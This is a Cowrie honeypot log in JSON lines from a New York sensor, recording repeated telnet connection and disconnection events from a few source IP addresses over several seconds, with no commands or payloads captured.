{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47346,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b3f62cc673","protocol":"telnet","message":"New connection: 104.167.8.156:47346 (10.17.0.5:23) [session: 84b3f62cc673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.026825Z"}
{"eventid":"cowrie.session.closed","duration":30.309606552124023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.107724Z","src_ip":"108.61.251.217","session":"eb53ed2496cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.275547Z","src_ip":"108.61.251.217","session":"7d402f160c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39896,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16912c84c4c","protocol":"telnet","message":"New connection: 104.167.8.156:39896 (10.17.0.5:23) [session: f16912c84c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.384650Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46940,"dst_ip":"10.17.0.5","dst_port":23,"session":"898e8f00de11","protocol":"telnet","message":"New connection: 108.61.251.217:46940 (10.17.0.5:23) [session: 898e8f00de11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.437798Z"}
{"eventid":"cowrie.session.closed","duration":31.357117414474487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.488845Z","src_ip":"104.167.8.156","session":"305c83839e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107552528381348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.696755Z","src_ip":"108.61.251.217","session":"66f03dc20288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300759315490723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.933854Z","src_ip":"104.167.8.156","session":"320d2f86b7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256373405456543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.940130Z","src_ip":"104.167.8.156","session":"d4bf09f9f84c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50242,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e89bdf76775","protocol":"telnet","message":"New connection: 104.167.8.156:50242 (10.17.0.5:23) [session: 4e89bdf76775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:45.993764Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"12bd90de9f9f","protocol":"telnet","message":"New connection: 108.61.251.217:58958 (10.17.0.5:23) [session: 12bd90de9f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.154687Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3bee671eafd","protocol":"telnet","message":"New connection: 104.167.8.156:50968 (10.17.0.5:23) [session: b3bee671eafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.232847Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51236,"dst_ip":"10.17.0.5","dst_port":23,"session":"82295f72a232","protocol":"telnet","message":"New connection: 104.167.8.156:51236 (10.17.0.5:23) [session: 82295f72a232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.323002Z"}
{"eventid":"cowrie.session.closed","duration":31.333168029785156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.663307Z","src_ip":"104.167.8.156","session":"331b210481bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.66329550743103,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.806364Z","src_ip":"185.26.126.47","session":"28041f317e0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58962,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bd5f22f33de","protocol":"telnet","message":"New connection: 108.61.251.217:58962 (10.17.0.5:23) [session: 3bd5f22f33de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.872236Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58972,"dst_ip":"10.17.0.5","dst_port":23,"session":"f87f8993ac13","protocol":"telnet","message":"New connection: 108.61.251.217:58972 (10.17.0.5:23) [session: f87f8993ac13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:46.912123Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44658,"dst_ip":"10.17.0.5","dst_port":23,"session":"89af01f2b9fc","protocol":"telnet","message":"New connection: 104.167.8.156:44658 (10.17.0.5:23) [session: 89af01f2b9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.050835Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58982,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf4257a4e9b0","protocol":"telnet","message":"New connection: 108.61.251.217:58982 (10.17.0.5:23) [session: cf4257a4e9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.203947Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54092,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a90235908e8","protocol":"telnet","message":"New connection: 104.167.8.156:54092 (10.17.0.5:23) [session: 1a90235908e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.215028Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51226,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c32d9f5b505","protocol":"telnet","message":"New connection: 104.167.8.156:51226 (10.17.0.5:23) [session: 7c32d9f5b505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.316792Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54478,"dst_ip":"10.17.0.5","dst_port":23,"session":"35457847ec23","protocol":"telnet","message":"New connection: 104.167.8.156:54478 (10.17.0.5:23) [session: 35457847ec23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.342281Z"}
{"eventid":"cowrie.session.closed","duration":54.38878536224365,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.440890Z","src_ip":"188.208.141.113","session":"3d7d4b00e0c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58984,"dst_ip":"10.17.0.5","dst_port":23,"session":"228ec35a2f28","protocol":"telnet","message":"New connection: 108.61.251.217:58984 (10.17.0.5:23) [session: 228ec35a2f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.546488Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55610,"dst_ip":"10.17.0.5","dst_port":23,"session":"bba3b9b0134b","protocol":"telnet","message":"New connection: 104.167.8.156:55610 (10.17.0.5:23) [session: bba3b9b0134b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.707673Z"}
{"eventid":"cowrie.session.closed","duration":40.99440360069275,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:47.950847Z","src_ip":"188.208.141.113","session":"dbdc230fcf4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.453118801116943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.022239Z","src_ip":"104.167.8.156","session":"f89630f23e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a8c54e243ce","protocol":"telnet","message":"New connection: 104.167.8.156:56876 (10.17.0.5:23) [session: 0a8c54e243ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.146350Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57079,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ce1d04eed2","protocol":"telnet","message":"New connection: 104.167.8.156:57079 (10.17.0.5:23) [session: 84ce1d04eed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.201648Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48170,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b91ecd5108","protocol":"telnet","message":"New connection: 104.167.8.156:48170 (10.17.0.5:23) [session: 58b91ecd5108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.289882Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58992,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd0a6eba742","protocol":"telnet","message":"New connection: 108.61.251.217:58992 (10.17.0.5:23) [session: efd0a6eba742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.369025Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57756,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a724d9a25a5","protocol":"telnet","message":"New connection: 104.167.8.156:57756 (10.17.0.5:23) [session: 9a724d9a25a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.417986Z"}
{"eventid":"cowrie.session.closed","duration":31.552125215530396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.458978Z","src_ip":"108.61.251.217","session":"111fcbd5bbd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58388,"dst_ip":"10.17.0.5","dst_port":23,"session":"913a71296357","protocol":"telnet","message":"New connection: 104.167.8.156:58388 (10.17.0.5:23) [session: 913a71296357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.625911Z"}
{"eventid":"cowrie.session.closed","duration":35.02573919296265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.655024Z","src_ip":"64.227.9.242","session":"6f30ab964ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58804,"dst_ip":"10.17.0.5","dst_port":23,"session":"85519022b5d0","protocol":"telnet","message":"New connection: 104.167.8.156:58804 (10.17.0.5:23) [session: 85519022b5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.758832Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58918,"dst_ip":"10.17.0.5","dst_port":23,"session":"94009ef12510","protocol":"telnet","message":"New connection: 104.167.8.156:58918 (10.17.0.5:23) [session: 94009ef12510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:48.791898Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59722,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b444c2bee51","protocol":"telnet","message":"New connection: 104.167.8.156:59722 (10.17.0.5:23) [session: 1b444c2bee51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.091770Z"}
{"eventid":"cowrie.session.closed","duration":31.24023723602295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.232051Z","src_ip":"108.61.251.217","session":"454bca1741aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757764101028442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.279667Z","src_ip":"104.167.8.156","session":"8175349e4621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59004,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b6beaf7cd7","protocol":"telnet","message":"New connection: 108.61.251.217:59004 (10.17.0.5:23) [session: 71b6beaf7cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.383435Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60838,"dst_ip":"10.17.0.5","dst_port":23,"session":"187b20785fa9","protocol":"telnet","message":"New connection: 104.167.8.156:60838 (10.17.0.5:23) [session: 187b20785fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.423659Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60840,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51c583538a8","protocol":"telnet","message":"New connection: 104.167.8.156:60840 (10.17.0.5:23) [session: c51c583538a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.427584Z"}
{"eventid":"cowrie.session.closed","duration":30.83925485610962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.432076Z","src_ip":"104.167.8.156","session":"680df28e6801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34110426902771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.451534Z","src_ip":"108.61.251.217","session":"a83205e9ddb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.465394496917725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.534312Z","src_ip":"104.167.8.156","session":"d6d297901581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18df0e7f661","protocol":"telnet","message":"New connection: 104.167.8.156:33190 (10.17.0.5:23) [session: d18df0e7f661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.639841Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33674,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14cf4c51f7c","protocol":"telnet","message":"New connection: 104.167.8.156:33674 (10.17.0.5:23) [session: d14cf4c51f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.833905Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7291786c480","protocol":"telnet","message":"New connection: 104.167.8.156:59144 (10.17.0.5:23) [session: c7291786c480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:49.885144Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f294ffa06fcb","protocol":"telnet","message":"New connection: 104.167.8.156:59474 (10.17.0.5:23) [session: f294ffa06fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.000837Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53964,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd54784435fa","protocol":"telnet","message":"New connection: 104.167.8.156:53964 (10.17.0.5:23) [session: fd54784435fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.176543Z"}
{"eventid":"cowrie.session.closed","duration":30.89429235458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.262871Z","src_ip":"104.167.8.156","session":"be91b5af68ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59010,"dst_ip":"10.17.0.5","dst_port":23,"session":"125e2b106212","protocol":"telnet","message":"New connection: 108.61.251.217:59010 (10.17.0.5:23) [session: 125e2b106212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.319697Z"}
{"eventid":"cowrie.session.closed","duration":31.205934762954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.363911Z","src_ip":"104.167.8.156","session":"4c846dbefff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59016,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cff33f90c89","protocol":"telnet","message":"New connection: 108.61.251.217:59016 (10.17.0.5:23) [session: 1cff33f90c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.586995Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33226,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f07017e0e8","protocol":"telnet","message":"New connection: 104.167.8.156:33226 (10.17.0.5:23) [session: 03f07017e0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.658233Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59020,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3b524b1b75","protocol":"telnet","message":"New connection: 108.61.251.217:59020 (10.17.0.5:23) [session: ba3b524b1b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.713026Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36782,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82ff3130462","protocol":"telnet","message":"New connection: 104.167.8.156:36782 (10.17.0.5:23) [session: a82ff3130462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:50.941720Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37186,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fa504a0db9","protocol":"telnet","message":"New connection: 104.167.8.156:37186 (10.17.0.5:23) [session: 87fa504a0db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.091831Z"}
{"eventid":"cowrie.session.closed","duration":30.967278003692627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.211399Z","src_ip":"104.167.8.156","session":"e153717b849a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37924,"dst_ip":"10.17.0.5","dst_port":23,"session":"033aa5e80a39","protocol":"telnet","message":"New connection: 104.167.8.156:37924 (10.17.0.5:23) [session: 033aa5e80a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.318538Z"}
{"eventid":"cowrie.session.closed","duration":31.08748483657837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.359447Z","src_ip":"104.167.8.156","session":"c7fc2d93b18d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721234798431396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.364685Z","src_ip":"108.61.251.217","session":"ce8220609529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35428,"dst_ip":"10.17.0.5","dst_port":23,"session":"760affcb5417","protocol":"telnet","message":"New connection: 188.208.141.113:35428 (10.17.0.5:23) [session: 760affcb5417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.577673Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38994,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc16933382e","protocol":"telnet","message":"New connection: 104.167.8.156:38994 (10.17.0.5:23) [session: 3dc16933382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.618603Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59030,"dst_ip":"10.17.0.5","dst_port":23,"session":"37092c413b87","protocol":"telnet","message":"New connection: 108.61.251.217:59030 (10.17.0.5:23) [session: 37092c413b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.751265Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39388,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78639900982","protocol":"telnet","message":"New connection: 104.167.8.156:39388 (10.17.0.5:23) [session: d78639900982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.774695Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35444,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7057589297d","protocol":"telnet","message":"New connection: 188.208.141.113:35444 (10.17.0.5:23) [session: a7057589297d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.848228Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59036,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3dfe44a2f0","protocol":"telnet","message":"New connection: 108.61.251.217:59036 (10.17.0.5:23) [session: 5d3dfe44a2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.853128Z"}
{"eventid":"cowrie.session.closed","duration":47.72573399543762,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.930531Z","src_ip":"188.208.141.113","session":"92c132543aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36808,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b658e0d0e0","protocol":"telnet","message":"New connection: 104.167.8.156:36808 (10.17.0.5:23) [session: 57b658e0d0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:51.958774Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59476,"dst_ip":"10.17.0.5","dst_port":23,"session":"8857f82c7182","protocol":"telnet","message":"New connection: 104.167.8.156:59476 (10.17.0.5:23) [session: 8857f82c7182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:52.004531Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41428,"dst_ip":"10.17.0.5","dst_port":23,"session":"12dc736d8158","protocol":"telnet","message":"New connection: 104.167.8.156:41428 (10.17.0.5:23) [session: 12dc736d8158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:52.497054Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb77565af855","protocol":"telnet","message":"New connection: 108.61.251.217:59046 (10.17.0.5:23) [session: fb77565af855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:52.608115Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59060,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0749e9f83ee","protocol":"telnet","message":"New connection: 108.61.251.217:59060 (10.17.0.5:23) [session: f0749e9f83ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:52.778731Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42182,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37dd82a6d69","protocol":"telnet","message":"New connection: 104.167.8.156:42182 (10.17.0.5:23) [session: a37dd82a6d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:52.804879Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39662,"dst_ip":"159.203.135.109","dst_port":23,"session":"7606398fc26a","protocol":"telnet","message":"New connection: 64.227.9.242:39662 (159.203.135.109:23) [session: 7606398fc26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:52.916848Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34422,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc6590b056c","protocol":"telnet","message":"New connection: 104.167.8.156:34422 (10.17.0.5:23) [session: bcc6590b056c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.120851Z"}
